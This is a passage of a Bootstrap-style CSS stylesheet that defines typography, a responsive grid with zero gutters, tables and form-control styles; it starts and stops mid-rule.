}
.img-rounded {
  border-radius: 6px;
}
.img-thumbnail {
  padding: 4px;
  line-height: 1.428571429;
  background-color: #ffffff;
  border: 1px solid #dddddd;
  border-radius: 4px;
  -webkit-transition: all 0.2s ease-in-out;
  transition: all 0.2s ease-in-out;
  display: inline-block;
  max-width: 100%;
  height: auto;
}
.img-circle {
  border-radius: 50%;
}
hr {
  margin-top: 20px;
  margin-bottom: 20px;
  border: 0;
  border-top: 1px solid #eeeeee;
}
.sr-only {
  position: absolute;
  width: 1px;
  height: 1px;
  margin: -1px;
  padding: 0;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  border: 0;
}
h1,
h2,
h3,
h4,
h5,
h6,
.h1,
.h2,
.h3,
.h4,
.h5,
.h6 {
  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
  font-weight: 500;
  line-height: 1.1;
  color: inherit;
}
h1 small,
h2 small,
h3 small,
h4 small,
h5 small,
h6 small,
.h1 small,
.h2 small,
.h3 small,
.h4 small,
.h5 small,
.h6 small,
h1 .small,
h2 .small,
h3 .small,
h4 .small,
h5 .small,
h6 .small,
.h1 .small,
.h2 .small,
.h3 .small,
.h4 .small,
.h5 .small,
.h6 .small {
  font-weight: normal;
  line-height: 1;
  color: #999999;
}
h1,
h2,
h3 {
  margin-top: 20px;
  margin-bottom: 10px;
}
h1 small,
h2 small,
h3 small,
h1 .small,
h2 .small,
h3 .small {
  font-size: 65%;
}
h4,
h5,
h6 {
  margin-top: 10px;
  margin-bottom: 10px;
}
h4 small,
h5 small,
h6 small,
h4 .small,
h5 .small,
h6 .small {
  font-size: 75%;
}
h1,
.h1 {
  font-size: 36px;
}
h2,
.h2 {
  font-size: 30px;
}
h3,
.h3 {
  font-size: 24px;
}
h4,
.h4 {
  font-size: 18px;
}
h5,
.h5 {
  font-size: 14px;
}
h6,
.h6 {
  font-size: 12px;
}
p {
  margin: 0 0 10px;
}
.lead {
  margin-bottom: 20px;
  font-size: 16px;
  font-weight: 200;
  line-height: 1.4;
}
@media (min-width: 768px) {
  .lead {
    font-size: 21px;
  }
}
small,
.small {
  font-size: 85%;
}
cite {
  font-style: normal;
}
.text-muted {
  color: #999999;
}
.text-primary {
  color: #428bca;
}
.text-primary:hover {
  color: #3071a9;
}
.text-warning {
  color: #8a6d3b;
}
.text-warning:hover {
  color: #66512c;
}
.text-danger {
  color: #a94442;
}
.text-danger:hover {
  color: #843534;
}
.text-success {
  color: #3c763d;
}
.text-success:hover {
  color: #2b542c;
}
.text-info {
  color: #31708f;
}
.text-info:hover {
  color: #245269;
}
.text-left {
  text-align: left;
}
.text-right {
  text-align: right;
}
.text-center {
  text-align: center;
}
.page-header {
  padding-bottom: 9px;
  margin: 40px 0 20px;
  border-bottom: 1px solid #eeeeee;
}
ul,
ol {
  margin-top: 0;
  margin-bottom: 10px;
}
ul ul,
ol ul,
ul ol,
ol ol {
  margin-bottom: 0;
}
.list-unstyled {
  padding-left: 0;
  list-style: none;
}
.list-inline {
  padding-left: 0;
  list-style: none;
}
.list-inline > li {
  display: inline-block;
  padding-left: 5px;
  padding-right: 5px;
}
.list-inline > li:first-child {
  padding-left: 0;
}
dl {
  margin-top: 0;
  margin-bottom: 20px;
}
dt,
dd {
  line-height: 1.428571429;
}
dt {
  font-weight: bold;
}
dd {
  margin-left: 0;
}
@media (min-width: 768px) {
  .dl-horizontal dt {
    float: left;
    width: 160px;
    clear: left;
    text-align: right;
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
  }
  .dl-horizontal dd {
    margin-left: 180px;
  }
  .dl-horizontal dd:before,
  .dl-horizontal dd:after {
    content: " ";
    display: table;
  }
  .dl-horizontal dd:after {
    clear: both;
  }
  .dl-horizontal dd:before,
  .dl-horizontal dd:after {
    content: " ";
    display: table;
  }
  .dl-horizontal dd:after {
    clear: both;
  }
}
abbr[title],
abbr[data-original-title] {
  cursor: help;
  border-bottom: 1px dotted #999999;
}
.initialism {
  font-size: 90%;
  text-transform: uppercase;
}
blockquote {
  padding: 10px 20px;
  margin: 0 0 20px;
  border-left: 5px solid #eeeeee;
}
blockquote p {
  font-size: 17.5px;
  font-weight: 300;
  line-height: 1.25;
}
blockquote p:last-child {
  margin-bottom: 0;
}
blockquote small,
blockquote .small {
  display: block;
  line-height: 1.428571429;
  color: #999999;
}
blockquote small:before,
blockquote .small:before {
  content: '\2014 \00A0';
}
blockquote.pull-right {
  padding-right: 15px;
  padding-left: 0;
  border-right: 5px solid #eeeeee;
  border-left: 0;
}
blockquote.pull-right p,
blockquote.pull-right small,
blockquote.pull-right .small {
  text-align: right;
}
blockquote.pull-right small:before,
blockquote.pull-right .small:before {
  content: '';
}
blockquote.pull-right small:after,
blockquote.pull-right .small:after {
  content: '\00A0 \2014';
}
blockquote:before,
blockquote:after {
  content: "";
}
address {
  margin-bottom: 20px;
  font-style: normal;
  line-height: 1.428571429;
}
code,
kbd,
pre,
samp {
  font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
}
code {
  padding: 2px 4px;
  font-size: 90%;
  color: #c7254e;
  background-color: #f9f2f4;
  white-space: nowrap;
  border-radius: 4px;
}
pre {
  display: block;
  padding: 9.5px;
  margin: 0 0 10px;
  font-size: 13px;
  line-height: 1.428571429;
  word-break: break-all;
  word-wrap: break-word;
  color: #333333;
  background-color: #f5f5f5;
  border: 1px solid #cccccc;
  border-radius: 4px;
}
pre code {
  padding: 0;
  font-size: inherit;
  color: inherit;
  white-space: pre-wrap;
  background-color: transparent;
  border-radius: 0;
}
.pre-scrollable {
  max-height: 340px;
  overflow-y: scroll;
}
.container {
  margin-right: auto;
  margin-left: auto;
  padding-left: 0px;
  padding-right: 0px;
}
.container:before,
.container:after {
  content: " ";
  display: table;
}
.container:after {
  clear: both;
}
.container:before,
.container:after {
  content: " ";
  display: table;
}
.container:after {
  clear: both;
}
@media (min-width: 768px) {
  .container {
    width: 720px;
  }
}
@media (min-width: 992px) {
  .container {
    width: 940px;
  }
}
@media (min-width: 1200px) {
  .container {
    width: 1140px;
  }
}
.row {
  margin-left: 0px;
  margin-right: 0px;
}
.row:before,
.row:after {
  content: " ";
  display: table;
}
.row:after {
  clear: both;
}
.row:before,
.row:after {
  content: " ";
  display: table;
}
.row:after {
  clear: both;
}
.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {
  position: relative;
  min-height: 1px;
  padding-left: 0px;
  padding-right: 0px;
}
.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {
  float: left;
}
.col-xs-12 {
  width: 100%;
}
.col-xs-11 {
  width: 91.66666666666666%;
}
.col-xs-10 {
  width: 83.33333333333334%;
}
.col-xs-9 {
  width: 75%;
}
.col-xs-8 {
  width: 66.66666666666666%;
}
.col-xs-7 {
  width: 58.333333333333336%;
}
.col-xs-6 {
  width: 50%;
}
.col-xs-5 {
  width: 41.66666666666667%;
}
.col-xs-4 {
  width: 33.33333333333333%;
}
.col-xs-3 {
  width: 25%;
}
.col-xs-2 {
  width: 16.666666666666664%;
}
.col-xs-1 {
  width: 8.333333333333332%;
}
.col-xs-pull-12 {
  right: 100%;
}
.col-xs-pull-11 {
  right: 91.66666666666666%;
}
.col-xs-pull-10 {
  right: 83.33333333333334%;
}
.col-xs-pull-9 {
  right: 75%;
}
.col-xs-pull-8 {
  right: 66.66666666666666%;
}
.col-xs-pull-7 {
  right: 58.333333333333336%;
}
.col-xs-pull-6 {
  right: 50%;
}
.col-xs-pull-5 {
  right: 41.66666666666667%;
}
.col-xs-pull-4 {
  right: 33.33333333333333%;
}
.col-xs-pull-3 {
  right: 25%;
}
.col-xs-pull-2 {
  right: 16.666666666666664%;
}
.col-xs-pull-1 {
  right: 8.333333333333332%;
}
.col-xs-pull-0 {
  right: 0%;
}
.col-xs-push-12 {
  left: 100%;
}
.col-xs-push-11 {
  left: 91.66666666666666%;
}
.col-xs-push-10 {
  left: 83.33333333333334%;
}
.col-xs-push-9 {
  left: 75%;
}
.col-xs-push-8 {
  left: 66.66666666666666%;
}
.col-xs-push-7 {
  left: 58.333333333333336%;
}
.col-xs-push-6 {
  left: 50%;
}
.col-xs-push-5 {
  left: 41.66666666666667%;
}
.col-xs-push-4 {
  left: 33.33333333333333%;
}
.col-xs-push-3 {
  left: 25%;
}
.col-xs-push-2 {
  left: 16.666666666666664%;
}
.col-xs-push-1 {
  left: 8.333333333333332%;
}
.col-xs-push-0 {
  left: 0%;
}
.col-xs-offset-12 {
  margin-left: 100%;
}
.col-xs-offset-11 {
  margin-left: 91.66666666666666%;
}
.col-xs-offset-10 {
  margin-left: 83.33333333333334%;
}
.col-xs-offset-9 {
  margin-left: 75%;
}
.col-xs-offset-8 {
  margin-left: 66.66666666666666%;
}
.col-xs-offset-7 {
  margin-left: 58.333333333333336%;
}
.col-xs-offset-6 {
  margin-left: 50%;
}
.col-xs-offset-5 {
  margin-left: 41.66666666666667%;
}
.col-xs-offset-4 {
  margin-left: 33.33333333333333%;
}
.col-xs-offset-3 {
  margin-left: 25%;
}
.col-xs-offset-2 {
  margin-left: 16.666666666666664%;
}
.col-xs-offset-1 {
  margin-left: 8.333333333333332%;
}
.col-xs-offset-0 {
  margin-left: 0%;
}
@media (min-width: 768px) {
  .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {
    float: left;
  }
  .col-sm-12 {
    width: 100%;
  }
  .col-sm-11 {
    width: 91.66666666666666%;
  }
  .col-sm-10 {
    width: 83.33333333333334%;
  }
  .col-sm-9 {
    width: 75%;
  }
  .col-sm-8 {
    width: 66.66666666666666%;
  }
  .col-sm-7 {
    width: 58.333333333333336%;
  }
  .col-sm-6 {
    width: 50%;
  }
  .col-sm-5 {
    width: 41.66666666666667%;
  }
  .col-sm-4 {
    width: 33.33333333333333%;
  }
  .col-sm-3 {
    width: 25%;
  }
  .col-sm-2 {
    width: 16.666666666666664%;
  }
  .col-sm-1 {
    width: 8.333333333333332%;
  }
  .col-sm-pull-12 {
    right: 100%;
  }
  .col-sm-pull-11 {
    right: 91.66666666666666%;
  }
  .col-sm-pull-10 {
    right: 83.33333333333334%;
  }
  .col-sm-pull-9 {
    right: 75%;
  }
  .col-sm-pull-8 {
    right: 66.66666666666666%;
  }
  .col-sm-pull-7 {
    right: 58.333333333333336%;
  }
  .col-sm-pull-6 {
    right: 50%;
  }
  .col-sm-pull-5 {
    right: 41.66666666666667%;
  }
  .col-sm-pull-4 {
    right: 33.33333333333333%;
  }
  .col-sm-pull-3 {
    right: 25%;
  }
  .col-sm-pull-2 {
    right: 16.666666666666664%;
  }
  .col-sm-pull-1 {
    right: 8.333333333333332%;
  }
  .col-sm-pull-0 {
    right: 0%;
  }
  .col-sm-push-12 {
    left: 100%;
  }
  .col-sm-push-11 {
    left: 91.66666666666666%;
  }
  .col-sm-push-10 {
    left: 83.33333333333334%;
  }
  .col-sm-push-9 {
    left: 75%;
  }
  .col-sm-push-8 {
    left: 66.66666666666666%;
  }
  .col-sm-push-7 {
    left: 58.333333333333336%;
  }
  .col-sm-push-6 {
    left: 50%;
  }
  .col-sm-push-5 {
    left: 41.66666666666667%;
  }
  .col-sm-push-4 {
    left: 33.33333333333333%;
  }
  .col-sm-push-3 {
    left: 25%;
  }
  .col-sm-push-2 {
    left: 16.666666666666664%;
  }
  .col-sm-push-1 {
    left: 8.333333333333332%;
  }
  .col-sm-push-0 {
    left: 0%;
  }
  .col-sm-offset-12 {
    margin-left: 100%;
  }
  .col-sm-offset-11 {
    margin-left: 91.66666666666666%;
  }
  .col-sm-offset-10 {
    margin-left: 83.33333333333334%;
  }
  .col-sm-offset-9 {
    margin-left: 75%;
  }
  .col-sm-offset-8 {
    margin-left: 66.66666666666666%;
  }
  .col-sm-offset-7 {
    margin-left: 58.333333333333336%;
  }
  .col-sm-offset-6 {
    margin-left: 50%;
  }
  .col-sm-offset-5 {
    margin-left: 41.66666666666667%;
  }
  .col-sm-offset-4 {
    margin-left: 33.33333333333333%;
  }
  .col-sm-offset-3 {
    margin-left: 25%;
  }
  .col-sm-offset-2 {
    margin-left: 16.666666666666664%;
  }
  .col-sm-offset-1 {
    margin-left: 8.333333333333332%;
  }
  .col-sm-offset-0 {
    margin-left: 0%;
  }
}
@media (min-width: 992px) {
  .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {
    float: left;
  }
  .col-md-12 {
    width: 100%;
  }
  .col-md-11 {
    width: 91.66666666666666%;
  }
  .col-md-10 {
    width: 83.33333333333334%;
  }
  .col-md-9 {
    width: 75%;
  }
  .col-md-8 {
    width: 66.66666666666666%;
  }
  .col-md-7 {
    width: 58.333333333333336%;
  }
  .col-md-6 {
    width: 50%;
  }
  .col-md-5 {
    width: 41.66666666666667%;
  }
  .col-md-4 {
    width: 33.33333333333333%;
  }
  .col-md-3 {
    width: 25%;
  }
  .col-md-2 {
    width: 16.666666666666664%;
  }
  .col-md-1 {
    width: 8.333333333333332%;
  }
  .col-md-pull-12 {
    right: 100%;
  }
  .col-md-pull-11 {
    right: 91.66666666666666%;
  }
  .col-md-pull-10 {
    right: 83.33333333333334%;
  }
  .col-md-pull-9 {
    right: 75%;
  }
  .col-md-pull-8 {
    right: 66.66666666666666%;
  }
  .col-md-pull-7 {
    right: 58.333333333333336%;
  }
  .col-md-pull-6 {
    right: 50%;
  }
  .col-md-pull-5 {
    right: 41.66666666666667%;
  }
  .col-md-pull-4 {
    right: 33.33333333333333%;
  }
  .col-md-pull-3 {
    right: 25%;
  }
  .col-md-pull-2 {
    right: 16.666666666666664%;
  }
  .col-md-pull-1 {
    right: 8.333333333333332%;
  }
  .col-md-pull-0 {
    right: 0%;
  }
  .col-md-push-12 {
    left: 100%;
  }
  .col-md-push-11 {
    left: 91.66666666666666%;
  }
  .col-md-push-10 {
    left: 83.33333333333334%;
  }
  .col-md-push-9 {
    left: 75%;
  }
  .col-md-push-8 {
    left: 66.66666666666666%;
  }
  .col-md-push-7 {
    left: 58.333333333333336%;
  }
  .col-md-push-6 {
    left: 50%;
  }
  .col-md-push-5 {
    left: 41.66666666666667%;
  }
  .col-md-push-4 {
    left: 33.33333333333333%;
  }
  .col-md-push-3 {
    left: 25%;
  }
  .col-md-push-2 {
    left: 16.666666666666664%;
  }
  .col-md-push-1 {
    left: 8.333333333333332%;
  }
  .col-md-push-0 {
    left: 0%;
  }
  .col-md-offset-12 {
    margin-left: 100%;
  }
  .col-md-offset-11 {
    margin-left: 91.66666666666666%;
  }
  .col-md-offset-10 {
    margin-left: 83.33333333333334%;
  }
  .col-md-offset-9 {
    margin-left: 75%;
  }
  .col-md-offset-8 {
    margin-left: 66.66666666666666%;
  }
  .col-md-offset-7 {
    margin-left: 58.333333333333336%;
  }
  .col-md-offset-6 {
    margin-left: 50%;
  }
  .col-md-offset-5 {
    margin-left: 41.66666666666667%;
  }
  .col-md-offset-4 {
    margin-left: 33.33333333333333%;
  }
  .col-md-offset-3 {
    margin-left: 25%;
  }
  .col-md-offset-2 {
    margin-left: 16.666666666666664%;
  }
  .col-md-offset-1 {
    margin-left: 8.333333333333332%;
  }
  .col-md-offset-0 {
    margin-left: 0%;
  }
}
@media (min-width: 1200px) {
  .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {
    float: left;
  }
  .col-lg-12 {
    width: 100%;
  }
  .col-lg-11 {
    width: 91.66666666666666%;
  }
  .col-lg-10 {
    width: 83.33333333333334%;
  }
  .col-lg-9 {
    width: 75%;
  }
  .col-lg-8 {
    width: 66.66666666666666%;
  }
  .col-lg-7 {
    width: 58.333333333333336%;
  }
  .col-lg-6 {
    width: 50%;
  }
  .col-lg-5 {
    width: 41.66666666666667%;
  }
  .col-lg-4 {
    width: 33.33333333333333%;
  }
  .col-lg-3 {
    width: 25%;
  }
  .col-lg-2 {
    width: 16.666666666666664%;
  }
  .col-lg-1 {
    width: 8.333333333333332%;
  }
  .col-lg-pull-12 {
    right: 100%;
  }
  .col-lg-pull-11 {
    right: 91.66666666666666%;
  }
  .col-lg-pull-10 {
    right: 83.33333333333334%;
  }
  .col-lg-pull-9 {
    right: 75%;
  }
  .col-lg-pull-8 {
    right: 66.66666666666666%;
  }
  .col-lg-pull-7 {
    right: 58.333333333333336%;
  }
  .col-lg-pull-6 {
    right: 50%;
  }
  .col-lg-pull-5 {
    right: 41.66666666666667%;
  }
  .col-lg-pull-4 {
    right: 33.33333333333333%;
  }
  .col-lg-pull-3 {
    right: 25%;
  }
  .col-lg-pull-2 {
    right: 16.666666666666664%;
  }
  .col-lg-pull-1 {
    right: 8.333333333333332%;
  }
  .col-lg-pull-0 {
    right: 0%;
  }
  .col-lg-push-12 {
    left: 100%;
  }
  .col-lg-push-11 {
    left: 91.66666666666666%;
  }
  .col-lg-push-10 {
    left: 83.33333333333334%;
  }
  .col-lg-push-9 {
    left: 75%;
  }
  .col-lg-push-8 {
    left: 66.66666666666666%;
  }
  .col-lg-push-7 {
    left: 58.333333333333336%;
  }
  .col-lg-push-6 {
    left: 50%;
  }
  .col-lg-push-5 {
    left: 41.66666666666667%;
  }
  .col-lg-push-4 {
    left: 33.33333333333333%;
  }
  .col-lg-push-3 {
    left: 25%;
  }
  .col-lg-push-2 {
    left: 16.666666666666664%;
  }
  .col-lg-push-1 {
    left: 8.333333333333332%;
  }
  .col-lg-push-0 {
    left: 0%;
  }
  .col-lg-offset-12 {
    margin-left: 100%;
  }
  .col-lg-offset-11 {
    margin-left: 91.66666666666666%;
  }
  .col-lg-offset-10 {
    margin-left: 83.33333333333334%;
  }
  .col-lg-offset-9 {
    margin-left: 75%;
  }
  .col-lg-offset-8 {
    margin-left: 66.66666666666666%;
  }
  .col-lg-offset-7 {
    margin-left: 58.333333333333336%;
  }
  .col-lg-offset-6 {
    margin-left: 50%;
  }
  .col-lg-offset-5 {
    margin-left: 41.66666666666667%;
  }
  .col-lg-offset-4 {
    margin-left: 33.33333333333333%;
  }
  .col-lg-offset-3 {
    margin-left: 25%;
  }
  .col-lg-offset-2 {
    margin-left: 16.666666666666664%;
  }
  .col-lg-offset-1 {
    margin-left: 8.333333333333332%;
  }
  .col-lg-offset-0 {
    margin-left: 0%;
  }
}
table {
  max-width: 100%;
  background-color: transparent;
}
th {
  text-align: left;
}
.table {
  width: 100%;
  margin-bottom: 20px;
}
.table > thead > tr > th,
.table > tbody > tr > th,
.table > tfoot > tr > th,
.table > thead > tr > td,
.table > tbody > tr > td,
.table > tfoot > tr > td {
  padding: 8px;
  line-height: 1.428571429;
  vertical-align: top;
  border-top: 1px solid #dddddd;
}
.table > thead > tr > th {
  vertical-align: bottom;
  border-bottom: 2px solid #dddddd;
}
.table > caption + thead > tr:first-child > th,
.table > colgroup + thead > tr:first-child > th,
.table > thead:first-child > tr:first-child > th,
.table > caption + thead > tr:first-child > td,
.table > colgroup + thead > tr:first-child > td,
.table > thead:first-child > tr:first-child > td {
  border-top: 0;
}
.table > tbody + tbody {
  border-top: 2px solid #dddddd;
}
.table .table {
  background-color: #ffffff;
}
.table-condensed > thead > tr > th,
.table-condensed > tbody > tr > th,
.table-condensed > tfoot > tr > th,
.table-condensed > thead > tr > td,
.table-condensed > tbody > tr > td,
.table-condensed > tfoot > tr > td {
  padding: 5px;
}
.table-bordered {
  border: 1px solid #dddddd;
}
.table-bordered > thead > tr > th,
.table-bordered > tbody > tr > th,
.table-bordered > tfoot > tr > th,
.table-bordered > thead > tr > td,
.table-bordered > tbody > tr > td,
.table-bordered > tfoot > tr > td {
  border: 1px solid #dddddd;
}
.table-bordered > thead > tr > th,
.table-bordered > thead > tr > td {
  border-bottom-width: 2px;
}
.table-striped > tbody > tr:nth-child(odd) > td,
.table-striped > tbody > tr:nth-child(odd) > th {
  background-color: #f9f9f9;
}
.table-hover > tbody > tr:hover > td,
.table-hover > tbody > tr:hover > th {
  background-color: #f5f5f5;
}
table col[class*="col-"] {
  position: static;
  float: none;
  display: table-column;
}
table td[class*="col-"],
table th[class*="col-"] {
  float: none;
  display: table-cell;
}
.table > thead > tr > .active,
.table > tbody > tr > .active,
.table > tfoot > tr > .active,
.table > thead > .active > td,
.table > tbody > .active > td,
.table > tfoot > .active > td,
.table > thead > .active > th,
.table > tbody > .active > th,
.table > tfoot > .active > th {
  background-color: #f5f5f5;
}
.table-hover > tbody > tr > .active:hover,
.table-hover > tbody > .active:hover > td,
.table-hover > tbody > .active:hover > th {
  background-color: #e8e8e8;
}
.table > thead > tr > .success,
.table > tbody > tr > .success,
.table > tfoot > tr > .success,
.table > thead > .success > td,
.table > tbody > .success > td,
.table > tfoot > .success > td,
.table > thead > .success > th,
.table > tbody > .success > th,
.table > tfoot > .success > th {
  background-color: #dff0d8;
}
.table-hover > tbody > tr > .success:hover,
.table-hover > tbody > .success:hover > td,
.table-hover > tbody > .success:hover > th {
  background-color: #d0e9c6;
}
.table > thead > tr > .danger,
.table > tbody > tr > .danger,
.table > tfoot > tr > .danger,
.table > thead > .danger > td,
.table > tbody > .danger > td,
.table > tfoot > .danger > td,
.table > thead > .danger > th,
.table > tbody > .danger > th,
.table > tfoot > .danger > th {
  background-color: #f2dede;
}
.table-hover > tbody > tr > .danger:hover,
.table-hover > tbody > .danger:hover > td,
.table-hover > tbody > .danger:hover > th {
  background-color: #ebcccc;
}
.table > thead > tr > .warning,
.table > tbody > tr > .warning,
.table > tfoot > tr > .warning,
.table > thead > .warning > td,
.table > tbody > .warning > td,
.table > tfoot > .warning > td,
.table > thead > .warning > th,
.table > tbody > .warning > th,
.table > tfoot > .warning > th {
  background-color: #fcf8e3;
}
.table-hover > tbody > tr > .warning:hover,
.table-hover > tbody > .warning:hover > td,
.table-hover > tbody > .warning:hover > th {
  background-color: #faf2cc;
}
@media (max-width: 767px) {
  .table-responsive {
    width: 100%;
    margin-bottom: 15px;
    overflow-y: hidden;
    overflow-x: scroll;
    -ms-overflow-style: -ms-autohiding-scrollbar;
    border: 1px solid #dddddd;
    -webkit-overflow-scrolling: touch;
  }
  .table-responsive > .table {
    margin-bottom: 0;
  }
  .table-responsive > .table > thead > tr > th,
  .table-responsive > .table > tbody > tr > th,
  .table-responsive > .table > tfoot > tr > th,
  .table-responsive > .table > thead > tr > td,
  .table-responsive > .table > tbody > tr > td,
  .table-responsive > .table > tfoot > tr > td {
    white-space: nowrap;
  }
  .table-responsive > .table-bordered {
    border: 0;
  }
  .table-responsive > .table-bordered > thead > tr > th:first-child,
  .table-responsive > .table-bordered > tbody > tr > th:first-child,
  .table-responsive > .table-bordered > tfoot > tr > th:first-child,
  .table-responsive > .table-bordered > thead > tr > td:first-child,
  .table-responsive > .table-bordered > tbody > tr > td:first-child,
  .table-responsive > .table-bordered > tfoot > tr > td:first-child {
    border-left: 0;
  }
  .table-responsive > .table-bordered > thead > tr > th:last-child,
  .table-responsive > .table-bordered > tbody > tr > th:last-child,
  .table-responsive > .table-bordered > tfoot > tr > th:last-child,
  .table-responsive > .table-bordered > thead > tr > td:last-child,
  .table-responsive > .table-bordered > tbody > tr > td:last-child,
  .table-responsive > .table-bordered > tfoot > tr > td:last-child {
    border-right: 0;
  }
  .table-responsive > .table-bordered > tbody > tr:last-child > th,
  .table-responsive > .table-bordered > tfoot > tr:last-child > th,
  .table-responsive > .table-bordered > tbody > tr:last-child > td,
  .table-responsive > .table-bordered > tfoot > tr:last-child > td {
    border-bottom: 0;
  }
}
fieldset {
  padding: 0;
  margin: 0;
  border: 0;
}
legend {
  display: block;
  width: 100%;
  padding: 0;
  margin-bottom: 20px;
  font-size: 21px;
  line-height: inherit;
  color: #333333;
  border: 0;
  border-bottom: 1px solid #e5e5e5;
}
label {
  display: inline-block;
  margin-bottom: 5px;
  font-weight: bold;
}
input[type="search"] {
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}
input[type="radio"],
input[type="checkbox"] {
  margin: 4px 0 0;
  margin-top: 1px \9;
  /* IE8-9 */

  line-height: normal;
}
input[type="file"] {
  display: block;
}
select[multiple],
select[size] {
  height: auto;
}
select optgroup {
  font-size: inherit;
  font-style: inherit;
  font-family: inherit;
}
input[type="file"]:focus,
input[type="radio"]:focus,
input[type="checkbox"]:focus {
  outline: thin dotted;
  outline: 5px auto -webkit-focus-ring-color;
  outline-offset: -2px;
}
input[type="number"]::-webkit-outer-spin-button,
input[type="number"]::-webkit-inner-spin-button {
  height: auto;
}
output {
  display: block;
  padding-top: 7px;
  font-size: 14px;
  line-height: 1.428571429;
  color: #555555;
  vertical-align: middle;
}
.form-control {
  display: block;
  width: 100%;
  height: 34px;
  padding: 6px 12px;
  font-size: 14px;
  line-height: 1.428571429;
  color: #555555;
  vertical-align: middle;
  background-color: #ffffff;
  background-image: none;
  border: 1px solid #cccccc;
  border-radius: 4px;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  -webkit-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;
  transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;
}
.form-control:focus {
  border-color: #66afe9;
  outline: 0;
  -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);
  box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);
}
.form-control:-moz-placeholder {
  color: #999999;
}
.form-control::-moz-placeholder {
  color: #999999;
  opacity: 1;
}
.form-control:-ms-input-placeholder {
  color: #999999;
}
.form-control::-webkit-input-placeholder {
  color: #999999;
}
.form-control[disabled],
.form-control[readonly],
fieldset[disabled] .form-control {
  cursor: not-allowed;
  background-color: #eeeeee;
}
textarea.form-control {
  height: auto;
}
.form-group {
  margin-bottom: 15px;
}
.radio,
.checkbox {
  display: block;
  min-height: 20px;
  margin-top: 10px;
  margin-bottom: 10px;
  padding-left: 20px;
  vertical-align: middle;
}
.radio label,
.checkbox label {
  display: inline;
  margin-bottom: 0;
  font-weight: normal;
  cursor: pointer;
}
.radio input[type="radio"],
.radio-inline input[type="radio"],
.checkbox input[type="checkbox"],
.checkbox-inline input[type="checkbox"] {
  float: left;
  margin-left: -20px;
}
.radio + .radio,
.checkbox + .checkbox {
  margin-top: -5px;
}
.radio-inline,
.checkbox-inline {
  display: inline-block;
  padding-left: 20px;
  margin-bottom: 0;
  vertical-align: middle;
  font-weight: normal;
  cursor: pointer;
}
.radio-inline + .radio-inline,
.checkbox-inline + .checkbox-inline {
  margin-top: 0;
  margin-left: 10px;
}
input[type="radio"][disabled],
input[type="checkbox"][disabled],
.radio[disabled],
.radio-inline[disabled],
.checkbox[disabled],
.checkbox-inline[disabled],
fieldset[disabled] input[type="radio"],
fieldset[disabled] input[type="checkbox"],
fieldset[disabled] .radio,
fieldset[disabled] .radio-inline,
fieldset[disabled] .checkbox,
fieldset[disabled] .checkbox-inline {
  cursor: not-allowed;
}
.input-sm {
  height: 30px;
  padding: 5px 10px;
  font-size: 12px;
  line-height: 1.5;
  border-radius: 3px;
}
select.input-sm {
  height: 30px;
  line-height: 30px;
}
textarea.input-sm {
  height: auto;
}
.input-lg {
  height: 46px;
  padding: 10px 16px;
  font-size: 18px;
  line-height: 1.33;
  border-radius: 6px;
}
select.input-lg {
  height: 46px;
  line-height: 46px;
}
textarea.input-lg {
  height: auto;
}
.has-warning .help-block,
.has-warning .control-label,
.has-warning .radio,
.has-warning .checkbox,
.has-warning .radio-inline,
.has-warning .checkbox-inline {
  color: #8a6d3b;
}
.has-warning .form-control {
  border-color: #8a6d3b;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}
.has-warning .form-control:focus {
  border-color: #66512c;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;
}
.has-warning .input-group-addon {
  color: #8a6d3b;
  border-color: #8a6d3b;
  background-color: #fcf8e3;
}
.has-error .help-block,
.has-error .control-label,
.has-error .radio,
.has-error .checkbox,
.has-error .radio-inline,
.has-error .checkbox-inline {
  color: #a94442;
}
.has-error .form-control {
  border-color: #a94442;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}
.has-error .form-control:focus {
  border-color: #843534;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;
